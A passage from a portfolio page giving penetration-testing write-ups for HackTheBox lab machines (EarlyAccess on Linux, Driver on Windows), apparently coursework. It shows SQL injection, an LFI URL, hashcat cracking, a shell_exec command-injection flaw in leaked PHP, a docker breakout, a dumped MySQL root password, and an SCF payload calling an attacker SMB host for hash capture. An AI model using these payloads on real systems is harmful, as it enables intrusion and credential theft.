KEY01-0H0H0-XPYZ0-GAME1-1344 KEY01-0H0H0-XPZZ0-GAME1-1345 KEY01-0H0H0-XPZZ1-GAME1-1346 KEY01-0H0H0-XPZZ2-GAME1-1347 KEY01-0H0H0-XPZZ3-GAME1-1348 KEY01-0H0H0-XPZZ4-GAME1-1349 KEY01-0H0H0-XPZZ5-GAME1-1350 KEY01-0H0H0-XPZZ6-GAME1-1351 KEY01-0H0H0-XPZZ7-GAME1-1352 KEY01-0H0H0-XPZZ8-GAME1-1353 KEY01-0H0H0-XPZZ9-GAME1-1354 </code> </pre> <p>First we need to intercept to post so we can copy it.</p> <a href="img/portfolio/minor/red/htb_linux/BurpsuiteIntercept.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/BurpsuiteIntercept.png" alt=""></a> <p>Now we can send it to the intruder to start brute-forcing this magic number.</p> <a href="img/portfolio/minor/red/htb_linux/BurpsuitePayload.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/BurpsuitePayload.png" alt=""></a> <p>I've added the payload which is the list of possible combinations we've just compiled. Now we need to add it into the POST.</p> <a href="img/portfolio/minor/red/htb_linux/BurpsuitePOST.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/BurpsuitePOST.png" alt=""></a> <p>Now let's start attacking!</p> <a href="img/portfolio/minor/red/htb_linux/BurpsuiteFailedAttack.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/BurpsuiteFailedAttack.png" alt=""></a> <p>That didn't go as planned it looks like all the requests got redirected let's look at the settings if we can change anything.</p> <a href="img/portfolio/minor/red/htb_linux/BurpsuiteAllowRedirect.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/BurpsuiteAllowRedirect.png" alt=""></a> <p>Looks like Burpsuite just needed to be allowed to follow redirects. This is probably also the reason why our first GoBuster attempt failed.</p> <a href="img/portfolio/minor/red/htb_linux/BurpsuiteAttack.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/BurpsuiteAttack.png" alt=""></a> <p>Now to second attack is way more promising. One key stands out because the response length is different from the rest. Let's try that key and see what happens.</p> <a href="img/portfolio/minor/red/htb_linux/KeyValidationTest.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/KeyValidationTest.png" alt=""></a> <p>And it worked! Now lets go back to our normal user account and add this key to our account.</p> <a href="img/portfolio/minor/red/htb_linux/AddKeyToUser.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/AddKeyToUser.png" alt=""></a> <p>Now we got the key added to our account we can take a look at that game subdomain we found earlier.</p> <a href="img/portfolio/minor/red/htb_linux/Scoreboard.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/Scoreboard.png" alt=""></a> <p>Something I noticed instantly is the scoreboard that the SingleQuoteMan talked about on the forum. Maybe we can do the same trick with SQLI as we did with XSS at the beginning. We can do a simple SQLI test to find out if it's vulnerable.</p> <a href="img/portfolio/minor/red/htb_linux/VulnForSQLI.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/VulnForSQLI.png" alt=""></a> <p>It is vulnerable but we didn't match the columns hence why it didn't show any output so lets try that again.</p> <a href="img/portfolio/minor/red/htb_linux/SQLVersion.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/SQLVersion.png" alt=""></a> <p>Now look at that this should be easy. Lets try to enumerate the database tables.</p> <a href="img/portfolio/minor/red/htb_linux/SQLIDBDump.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/SQLIDBDump.png" alt=""></a> <p>A user table? Very interesting lets see if it contains any passwords or usernames.</p> <a href="img/portfolio/minor/red/htb_linux/SQLIUsers.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/SQLIUsers.png" alt=""></a> <p>And it does! Looks like we got an admin username and a password hash we need to crack. But first lets find out what type of hash it is.</p> <a href="img/portfolio/minor/red/htb_linux/HashIdentifier.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/HashIdentifier.png" alt=""></a> <p>Looks like it's a SHA1 hash lets see if Hashcat can find the password for us.</p> <code>hashcat -a 0 -m 100 adminhash.txt /usr/share/wordlists/rockyou.txt</code> <a href="img/portfolio/minor/red/htb_linux/Hashcat.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/Hashcat.png" alt=""></a> <p>Yes it can! Now lets try to use these credentials to log into the dev subdomain.</p> <a href="img/portfolio/minor/red/htb_linux/LoggedIntoDev.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/LoggedIntoDev.png" alt=""></a> <p>Lets try to run Dirbuster one more time to see if it finds anything.</p> <a href="img/portfolio/minor/red/htb_linux/Dirbuster.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/Dirbuster.png" alt=""></a> <p>Almost forgot we have to add the PHPSESSID from this admin to Dirbuster otherwise it won't have access to enumerate the site.</p> <a href="img/portfolio/minor/red/htb_linux/DirbusterPHPSESSID.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/DirbusterPHPSESSID.png" alt=""></a> <p>Dirtbuster found a file called /actions/file.php which could be interesting. By the looks of it this is the file that is running on the homepage of this subdomain as well but there it said it didn't have a GUI yet. Maybe we can use it without GUI now we know the location of the file. But we need to know the command because now it gives us an error.</p> <a href="img/portfolio/minor/red/htb_linux/SpecifyFile.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/SpecifyFile.png" alt=""></a> <p>Lets try some common command in this context like file, path and filepath. Hey! Filepath worked and now we can execute files and apparently also the hashingTool that is also on the homepage.</p> <a href="img/portfolio/minor/red/htb_linux/FileExecuted.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/FileExecuted.png" alt=""></a> <p>Lets take a look at LFI (Local File Inclusion) and see if we can do something with that. I've found this <a href="https://medium.com/@nyomanpradipta120/local-file-inclusion-vulnerability-cfd9e62d12cb">website</a> that explains a LFI vulnerability we could try</p> <code>https://dev.earlyaccess.htb/actions/file.php?filepath=php://filter/convert.base64-encode/resource=/var/www/earlyaccess.htb/dev/actions/hash.php</code> <a href="img/portfolio/minor/red/htb_linux/HashBase64.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/HashBase64.png" alt=""></a> <p>This gave us the base64 of the hash.php file if we can convert it back to code we might be able to find a vulnerability.</p> <a href="img/portfolio/minor/red/htb_linux/DecodedBase64.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/DecodedBase64.png" alt=""></a> <p>Using an online base64 decoder we managed to find the source code of the hash.php file.</p> <pre style="text-align: left"> <code class="prettyprint"> <?php include_once "../includes/session.php"; function hash_pw($hash_function, $password) { // DEVELOPER-NOTE: There has gotta be an easier way... ob_start(); // Use inputted hash_function to hash password $hash = @$hash_function($password); ob_end_clean(); return $hash; } try { if(isset($_REQUEST['action'])) { if($_REQUEST['action'] === "verify") { // VERIFIES $password AGAINST $hash if(isset($_REQUEST['hash_function']) && isset($_REQUEST['hash']) && isset($_REQUEST['password'])) { // Only allow custom hashes, if `debug` is set if($_REQUEST['hash_function'] !== "md5" && $_REQUEST['hash_function'] !== "sha1" && !isset($_REQUEST['debug'])) throw new Exception("Only MD5 and SHA1 are currently supported!"); $hash = hash_pw($_REQUEST['hash_function'], $_REQUEST['password']); $_SESSION['verify'] = ($hash === $_REQUEST['hash']); header('Location: /home.php?tool=hashing'); return; } } elseif($_REQUEST['action'] === "verify_file") { //TODO: IMPLEMENT FILE VERIFICATION } elseif($_REQUEST['action'] === "hash_file") { //TODO: IMPLEMENT FILE-HASHING } elseif($_REQUEST['action'] === "hash") { // HASHES $password USING $hash_function if(isset($_REQUEST['hash_function']) && isset($_REQUEST['password'])) { // Only allow custom hashes, if `debug` is set if($_REQUEST['hash_function'] !== "md5" && $_REQUEST['hash_function'] !== "sha1" && !isset($_REQUEST['debug'])) throw new Exception("Only MD5 and SHA1 are currently supported!"); $hash = hash_pw($_REQUEST['hash_function'], $_REQUEST['password']); if(!isset($_REQUEST['redirect'])) { echo "Result for Hash-function (" . $_REQUEST['hash_function'] . ") and password (" . $_REQUEST['password'] . "):<br>"; echo '<br>' . $hash; return; } else { $_SESSION['hash'] = $hash; header('Location: /home.php?tool=hashing'); return; } } } } // Action not set, ignore throw new Exception(""); } catch(Exception $ex) { if($ex->getMessage() !== "") $_SESSION['error'] = htmlentities($ex->getMessage()); header('Location: /home.php'); return; } ?> </code> </pre> <p>After analyzing the source code it looks like if you send the debug parameter as true and the hashing_function as shell_exec, you can run any shell command you want from the hashing tool. So lets try that.</p> <a href="img/portfolio/minor/red/htb_linux/HashingToolLSPOST.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/HashingToolLSPOST.png" alt=""></a> <a href="img/portfolio/minor/red/htb_linux/HashingToolLSResult.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/HashingToolLSResult.png" alt=""></a> <p>Looks like it worked now lets try to get a reverse shell.</p> <a href="img/portfolio/minor/red/htb_linux/HashingToolReverseShell.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/HashingToolReverseShell.png" alt=""></a> <a href="img/portfolio/minor/red/htb_linux/WWW-DataShell.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/WWW-DataShell.png" alt=""></a> <p>And we're in! I looked in the /etc/passwd and noticed another user named www-adm which looked like the next user I needed. After looking around for a bit and I couldn't find anything I thought what if they reused passwords?</p> <a href="img/portfolio/minor/red/htb_linux/WWW-AdmShell.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/WWW-AdmShell.png" alt=""></a> <p>And they did so now we have www-adm shell. After looking around I noticed a .wgetrc file with some credentials in it. Because it looked like docker was running on the machine I thought http://api:5000/ was my best bet.</p> <a href="img/portfolio/minor/red/htb_linux/WGETAPI.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/WGETAPI.png" alt=""></a> <p>And it was! Apparently there is a check_db endpoint but it required credentials. So I tried to credentials we've just found.</p> <a href="img/portfolio/minor/red/htb_linux/CatCheckDB.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/CatCheckDB.png" alt=""></a> <p>Looks like JSON but we first need to prettify it to make it more readable.</p> <pre style="text-align: left"> <code class="prettyprint"> { "message":{ "AppArmorProfile":"docker-default", "Args":[ "--character-set-server=utf8mb4", "--collation-server=utf8mb4_bin", "--skip-character-set-client-handshake", "--max_allowed_packet=50MB", "--general_log=0", "--sql_mode=ANSI_QUOTES,ERROR_FOR_DIVISION_BY_ZERO,IGNORE_SPACE,NO_ENGINE_SUBSTITUTION,NO_ZERO_DATE,NO_ZERO_IN_DATE,PIPES_AS_CONCAT,REAL_AS_FLOAT,STRICT_ALL_TABLES" ], "Config":{ "AttachStderr":false, "AttachStdin":false, "AttachStdout":false, "Cmd":[ "--character-set-server=utf8mb4", "--collation-server=utf8mb4_bin", "--skip-character-set-client-handshake", "--max_allowed_packet=50MB", "--general_log=0", "--sql_mode=ANSI_QUOTES,ERROR_FOR_DIVISION_BY_ZERO,IGNORE_SPACE,NO_ENGINE_SUBSTITUTION,NO_ZERO_DATE,NO_ZERO_IN_DATE,PIPES_AS_CONCAT,REAL_AS_FLOAT,STRICT_ALL_TABLES" ], "Domainname":"", "Entrypoint":[ "docker-entrypoint.sh" ], "Env":[ "MYSQL_DATABASE=db", "MYSQL_USER=drew", "MYSQL_PASSWORD=drew", "MYSQL_ROOT_PASSWORD=XeoNu86JTznxMCQuGHrGutF3Csq5", "SERVICE_TAGS=dev", "SERVICE_NAME=mysql", "PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin", "GOSU_VERSION=1.12", "MYSQL_MAJOR=8.0", "MYSQL_VERSION=8.0.25-1debian10" ], "ExposedPorts":{ "3306/tcp":{ }, "33060/tcp":{ } }, "Healthcheck":{ "Interval":5000000000, "Retries":3, "Test":[ "CMD-SHELL", "mysqladmin ping -h 127.0.0.1 --user=$MYSQL_USER -p$MYSQL_PASSWORD --silent" ], "Timeout":2000000000 }, "Hostname":"mysql", "Image":"mysql:latest", "Labels":{ "com.docker.compose.config-hash":"947cb358bc0bb20b87239b0dffe00fd463bd7e10355f6aac2ef1044d8a29e839", "com.docker.compose.container-number":"1", "com.docker.compose.oneoff":"False", "com.docker.compose.project":"app", "com.docker.compose.project.config_files":"docker-compose.yml", "com.docker.compose.project.working_dir":"/root/app", "com.docker.compose.service":"mysql", "com.docker.compose.version":"1.29.1" }, "OnBuild":null, "OpenStdin":false, "StdinOnce":false, "Tty":true, "User":"", "Volumes":{ "/docker-entrypoint-initdb.d":{ }, "/var/lib/mysql":{ } }, "WorkingDir":"" }, "Created":"2021-10-04T06:57:43.698655618Z", "Driver":"overlay2", "ExecIDs":null, "GraphDriver":{ "Data":{ "LowerDir":"/var/lib/docker/overlay2/15b0f0978cf938d269ad6db1a05238d1d2a86a9fc161a0c6fa9ca16a8974c55d-init/diff:/var/lib/docker/overlay2/ecc064365b0367fc58ac796d9d5fe020d9453c68e2563f8f6d4682e38231083e/diff:/var/lib/docker/overlay2/4a21c5c296d0e6d06a3e44e3fa4817ab6f6f8c3612da6ba902dc28ffd749ec4d/diff:/var/lib/docker/overlay2/f0cdcc7bddc58609f75a98300c16282d8151ce18bd89c36be218c52468b3a643/diff:/var/lib/docker/overlay2/01e8af3c602aa396e4cb5af2ed211a6a3145337fa19b123f23e36b006d565fd0/diff:/var/lib/docker/overlay2/55b88ae64530676260fe91d4d3e6b0d763165505d3135a3495677cb10de74a66/diff:/var/lib/docker/overlay2/4064491ac251bcc0b677b0f76de7d5ecf0c17c7d64d7a18debe8b5a99e73e127/diff:/var/lib/docker/overlay2/a60c199d618b0f2001f106393236ba394d683a96003a4e35f58f8a7642dbad4f/diff:/var/lib/docker/overlay2/29b638dc55a69c49df41c3f2ec0f90cc584fac031378ae455ed1458a488ec48d/diff:/var/lib/docker/overlay2/ee59a9d7b93adc69453965d291e66c7d2b3e6402b2aef6e77d367da181b8912f/diff:/var/lib/docker/overlay2/4b5204c09ec7b0cbf22d409408529d79a6d6a472b3c4d40261aa8990ff7a2ea8/diff:/var/lib/docker/overlay2/8178a3527c2a805b3c2fe70e179797282bb426f3e73e8f4134bc2fa2f2c7aa22/diff:/var/lib/docker/overlay2/76b10989e43e43406fc4306e789802258e36323f7c2414e5e1242b6eab4bd3eb/diff", "MergedDir":"/var/lib/docker/overlay2/15b0f0978cf938d269ad6db1a05238d1d2a86a9fc161a0c6fa9ca16a8974c55d/merged", "UpperDir":"/var/lib/docker/overlay2/15b0f0978cf938d269ad6db1a05238d1d2a86a9fc161a0c6fa9ca16a8974c55d/diff", "WorkDir":"/var/lib/docker/overlay2/15b0f0978cf938d269ad6db1a05238d1d2a86a9fc161a0c6fa9ca16a8974c55d/work" }, "Name":"overlay2" }, "HostConfig":{ "AutoRemove":false, "Binds":[ "/root/app/scripts/init.d:/docker-entrypoint-initdb.d:ro", "app_vol_mysql:/var/lib/mysql:rw" ], "BlkioDeviceReadBps":null, "BlkioDeviceReadIOps":null, "BlkioDeviceWriteBps":null, "BlkioDeviceWriteIOps":null, "BlkioWeight":0, "BlkioWeightDevice":null, "CapAdd":[ "SYS_NICE" ], "CapDrop":null, "Cgroup":"", "CgroupParent":"", "CgroupnsMode":"host", "ConsoleSize":[ 0, 0 ], "ContainerIDFile":"", "CpuCount":0, "CpuPercent":0, "CpuPeriod":0, "CpuQuota":0, "CpuRealtimePeriod":0, "CpuRealtimeRuntime":0, "CpuShares":0, "CpusetCpus":"", "CpusetMems":"", "DeviceCgroupRules":null, "DeviceRequests":null, "Devices":null, "Dns":null, "DnsOptions":null, "DnsSearch":null, "ExtraHosts":null, "GroupAdd":null, "IOMaximumBandwidth":0, "IOMaximumIOps":0, "IpcMode":"private", "Isolation":"", "KernelMemory":0, "KernelMemoryTCP":0, "Links":null, "LogConfig":{ "Config":{ }, "Type":"json-file" }, "MaskedPaths":[ "/proc/asound", "/proc/acpi", "/proc/kcore", "/proc/keys", "/proc/latency_stats", "/proc/timer_list", "/proc/timer_stats", "/proc/sched_debug", "/proc/scsi", "/sys/firmware" ], "Memory":0, "MemoryReservation":0, "MemorySwap":0, "MemorySwappiness":null, "NanoCpus":0, "NetworkMode":"app_nw", "OomKillDisable":false, "OomScoreAdj":0, "PidMode":"", "PidsLimit":null, "PortBindings":{ }, "Privileged":false, "PublishAllPorts":false, "ReadonlyPaths":[ "/proc/bus", "/proc/fs", "/proc/irq", "/proc/sys", "/proc/sysrq-trigger" ], "ReadonlyRootfs":false, "RestartPolicy":{ "MaximumRetryCount":0, "Name":"always" }, "Runtime":"runc", "SecurityOpt":null, "ShmSize":67108864, "UTSMode":"", "Ulimits":null, "UsernsMode":"", "VolumeDriver":"", "VolumesFrom":[ ] }, "HostnamePath":"/var/lib/docker/containers/47c78eb0450f08b91f8e1c587c98f4e2b4e5ac4b4c26c6a0a3283bc67d5df216/hostname", "HostsPath":"/var/lib/docker/containers/47c78eb0450f08b91f8e1c587c98f4e2b4e5ac4b4c26c6a0a3283bc67d5df216/hosts", "Id":"47c78eb0450f08b91f8e1c587c98f4e2b4e5ac4b4c26c6a0a3283bc67d5df216", "Image":"sha256:5c62e459e087e3bd3d963092b58e50ae2af881076b43c29e38e2b5db253e0287", "LogPath":"/var/lib/docker/containers/47c78eb0450f08b91f8e1c587c98f4e2b4e5ac4b4c26c6a0a3283bc67d5df216/47c78eb0450f08b91f8e1c587c98f4e2b4e5ac4b4c26c6a0a3283bc67d5df216-json.log", "MountLabel":"", "Mounts":[ { "Destination":"/docker-entrypoint-initdb.d", "Mode":"ro", "Propagation":"rprivate", "RW":false, "Source":"/root/app/scripts/init.d", "Type":"bind" }, { "Destination":"/var/lib/mysql", "Driver":"local", "Mode":"rw", "Name":"app_vol_mysql", "Propagation":"", "RW":true, "Source":"/var/lib/docker/volumes/app_vol_mysql/_data", "Type":"volume" } ], "Name":"/mysql", "NetworkSettings":{ "Bridge":"", "EndpointID":"", "Gateway":"", "GlobalIPv6Address":"", "GlobalIPv6PrefixLen":0, "HairpinMode":false, "IPAddress":"", "IPPrefixLen":0, "IPv6Gateway":"", "LinkLocalIPv6Address":"", "LinkLocalIPv6PrefixLen":0, "MacAddress":"", "Networks":{ "app_nw":{ "Aliases":[ "47c78eb0450f", "mysql" ], "DriverOpts":null, "EndpointID":"50037fb137fd880f88a9efd17eb8cf94bf8142ec263080b4c904afeeaa79aa2e", "Gateway":"172.18.0.1", "GlobalIPv6Address":"", "GlobalIPv6PrefixLen":0, "IPAMConfig":{ "IPv4Address":"172.18.0.100" }, "IPAddress":"172.18.0.100", "IPPrefixLen":16, "IPv6Gateway":"", "Links":null, "MacAddress":"02:42:ac:12:00:64", "NetworkID":"021b24b8b3e1e3638463eeb7dc9af59c36cc412578cdf51931a24f04ea6f5532" } }, "Ports":{ "3306/tcp":null, "33060/tcp":null }, "SandboxID":"99cbb57fded2142e5dad46330b43249d2866f8514fb4342d06322f3e3b5c60f1", "SandboxKey":"/var/run/docker/netns/99cbb57fded2", "SecondaryIPAddresses":null, "SecondaryIPv6Addresses":null }, "Path":"docker-entrypoint.sh", "Platform":"linux", "ProcessLabel":"", "ResolvConfPath":"/var/lib/docker/containers/47c78eb0450f08b91f8e1c587c98f4e2b4e5ac4b4c26c6a0a3283bc67d5df216/resolv.conf", "RestartCount":0, "State":{ "Dead":false, "Error":"", "ExitCode":0, "FinishedAt":"0001-01-01T00:00:00Z", "Health":{ "FailingStreak":0, "Log":[ { "End":"2021-10-04T17:08:01.998027574+02:00", "ExitCode":0, "Output":"mysqladmin: [Warning] Using a password on the command line interface can be insecure.\nmysqld is alive\n", "Start":"2021-10-04T17:08:01.908189033+02:00" }, { "End":"2021-10-04T17:08:07.080804898+02:00", "ExitCode":0, "Output":"mysqladmin: [Warning] Using a password on the command line interface can be insecure.\nmysqld is alive\n", "Start":"2021-10-04T17:08:07.000613396+02:00" }, { "End":"2021-10-04T17:08:12.166584919+02:00", "ExitCode":0, "Output":"mysqladmin: [Warning] Using a password on the command line interface can be insecure.\nmysqld is alive\n", "Start":"2021-10-04T17:08:12.083845791+02:00" }, { "End":"2021-10-04T17:08:17.254375293+02:00", "ExitCode":0, "Output":"mysqladmin: [Warning] Using a password on the command line interface can be insecure.\nmysqld is alive\n", "Start":"2021-10-04T17:08:17.16894306+02:00" }, { "End":"2021-10-04T17:08:22.350400823+02:00", "ExitCode":0, "Output":"mysqladmin: [Warning] Using a password on the command line interface can be insecure.\nmysqld is alive\n", "Start":"2021-10-04T17:08:22.257747436+02:00" } ], "Status":"healthy" }, "OOMKilled":false, "Paused":false, "Pid":1108, "Restarting":false, "Running":true, "StartedAt":"2021-10-04T06:57:47.409835076Z", "Status":"running" } }, "status":200 } </code> </pre> <p>Looks like an username and some passwords lets try those with ssh.</p> <a href="img/portfolio/minor/red/htb_linux/UserFlag.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/UserFlag.png" alt=""></a> <p>We got the user flag! But now we need to find something to escalate our privileges. We could use LinPEAS to try and find something but we first have to get it on this machine.</p> <a href="img/portfolio/minor/red/htb_linux/SimpleHTTPServer.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/SimpleHTTPServer.png" alt=""></a> <a href="img/portfolio/minor/red/htb_linux/WGETLinpeas.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/WGETLinpeas.png" alt=""></a> <p>I used SimpleHTTPServer to get LinPeas from my machine to the target machine because the target machine didn't have access to the internet. Now we need to run LinPEAS.</p> <a href="img/portfolio/minor/red/htb_linux/LinpeasMail.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/LinpeasMail.png" alt=""></a> <a href="img/portfolio/minor/red/htb_linux/LinpeasDockerIP.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/LinpeasDockerIP.png" alt=""></a> <a href="img/portfolio/minor/red/htb_linux/LinpeasDockerFolder.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/LinpeasDockerFolder.png" alt=""></a> <p>Looks like LinPEAS found some interesting stuff like a mail message to Drew and the docker ip ranges and a docker folder that is edited regularly.</p> <a href="img/portfolio/minor/red/htb_linux/Mail.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/Mail.png" alt=""></a> <p>This probably means that the docker folder that gets edited regularly is the folder containing the game. And that some script is running that we could use.</p> <a href="img/portfolio/minor/red/htb_linux/DrewPublicKey.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/DrewPublicKey.png" alt=""></a> <p>Looks like we got a public key as game-tester as well. Lets try to login into the docker ips using this public key.</p> <a href="img/portfolio/minor/red/htb_linux/Game-testerShell.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/Game-testerShell.png" alt=""></a> <a href="img/portfolio/minor/red/htb_linux/SharedFolderGame-tester.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/SharedFolderGame-tester.png" alt=""></a> <a href="img/portfolio/minor/red/htb_linux/SharedFolderDrew.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/SharedFolderDrew.png" alt=""></a> <p>And it worked now we got a shell as game-tester as well on a docker container. I noticed that the same docker folder on Drew also exists on the docker container and that they are shared. I also noticed that the docker folder get rewritten entirely so all files inside get removed and replaced before the server is restarted again. Lets see what the script does.</p> <a href="img/portfolio/minor/red/htb_linux/CatNode-server.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/CatNode-server.png" alt=""></a> <p>It runs in a folder called /usr/src/app which doesn't exist on the Drew user but it does on the game-tester container. So lets look at that as well.</p> <a href="img/portfolio/minor/red/htb_linux/CatServerJS.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/CatServerJS.png" alt=""></a> <p>Look like we can crash the server if we make a POST to autoplay with a decimal instead of an integer. But that doesn't get us anywhere we need to infect the node-server.sh first.</p> <a href="img/portfolio/minor/red/htb_linux/DrewPublicKey.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/DrewPublicKey.png" alt=""></a> <p>I found this <a href="https://book.hacktricks.xyz/linux-unix/privilege-escalation/docker-breakout">website</a> explaining priv esc with docker so I gave it a try. But I have to be faster than the server can create the node-server.sh in order to infect it. So I created a script.</p> <a href="img/portfolio/minor/red/htb_linux/RogueNode-server.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/RogueNode-server.png" alt=""></a> <a href="img/portfolio/minor/red/htb_linux/ExploitLoop.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/ExploitLoop.png" alt=""></a> <p>This should create a bash file in /tmp on the game-tester container that is executable by game-tester in order to priv esc. So lets crash the server and try it.</p> <a href="img/portfolio/minor/red/htb_linux/ExploitRun.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/ExploitRun.png" alt=""></a> <a href="img/portfolio/minor/red/htb_linux/CrashGameServer.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/CrashGameServer.png" alt=""></a> <p>I had to give it a few tries in order to succeed because in some cases the server was actually faster than my script.</p> <a href="img/portfolio/minor/red/htb_linux/RootOnDocker.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/RootOnDocker.png" alt=""></a> <p>And it worked now we need to do the same thing in order to get root on the Drew machine but this time we don't have to worry about speed because we don't need to infect a script, we just have to do it fast enough before all the files inside the folder get deleted again.</p> <a href="img/portfolio/minor/red/htb_linux/InfectBashAsGame-tester.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/InfectBashAsGame-tester.png" alt=""></a> <a href="img/portfolio/minor/red/htb_linux/RootFlag.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/RootFlag.png" alt=""></a> <p>That's it! We are root and got the flag!</p> <p>Although it took me quite a while to root this machine it was a really fun one. Containing a lot of different exploits mostly straight from the OWASP top 10 but also some I never heard of before like the docker priv esc.</p> <ul class="list-inline"> <li>Date: October 2021</li> <li>Client: Fontys</li> <li>Category: Minor Red-teaming</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal22" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">Fontys S7</h2> <p class="item-intro text-muted">HackTheBox Windows Write-up</p> <a href="img/portfolio/minor/red/htb_windows/DriverCard.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_windows/DriverCard.png" alt=""></a> <p>First lets start with the basic enumeration and do a NMap.</p> <a href="img/portfolio/minor/red/htb_windows/NMapOutput.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_windows/NMapOutput.png" alt=""></a> <p>When navigating to the webpage we are greeted by a login screen. After some searching and not finding anything useful I tried to login with just a default password admin:admin it was a longshot but it worked!</p> <a href="img/portfolio/minor/red/htb_windows/Dashboard.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_windows/Dashboard.png" alt=""></a> <p>The only button that worked on the website was Firmware updates where you can upload a file. Knowing that SMB was also an open port I found this <a href="https://pentestlab.blog/2017/12/13/smb-share-scf-file-attacks/">website</a> this could potentially it so lets try it out. </p> <pre style="text-align: left"> <code class="prettyprint"> [Shell] Command=2 Iconfile=\\10.10.14.161\share\test.ico [Taskbar] Command=ToggleDesktop </code> </pre> <a href="img/portfolio/minor/red/htb_windows/ResponderOutput.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_windows/ResponderOutput.png" alt=""></a> <p>I created a payload like the example given on the site I found started responder and got a few hits. Now we know the username and maybe the password if we manage to crack it. We know from the responder output that it is a NTLM hash so lets put Hashcat on it and see what we'll get.</p> <a href="img/portfolio/minor/red/htb_windows/HashcatOutput.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_windows/HashcatOutput.png" alt=""></a> <p>Hashcat cracked the password with ease and now we can take a look at the SMB folder to see if we can find anything interesting.</p> <a href="img/portfolio/minor/red/htb_windows/SMBMap.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_windows/SMBMap.png" alt=""></a> <p>We didn't find anything interesting but knowing from the NMap output we also know that the RDP port is open so maybe it uses the same password.</p> <a href="img/portfolio/minor/red/htb_windows/UserFlag.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_windows/UserFlag.png" alt=""></a> <p>This was indeed the case and now we already have the user flag. For priv esc running at least WinPEAS is a no-brainer. So I used SimpleHTTPServer to get WinPEAS on the target machine.</p> <a href="img/portfolio/minor/red/htb_windows/SimpleHTTPServer.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_windows/SimpleHTTPServer.png" alt=""></a> <a href="img/portfolio/minor/red/htb_windows/WgetWinpeas.png"><img class="img-fluid d-block mx-auto" 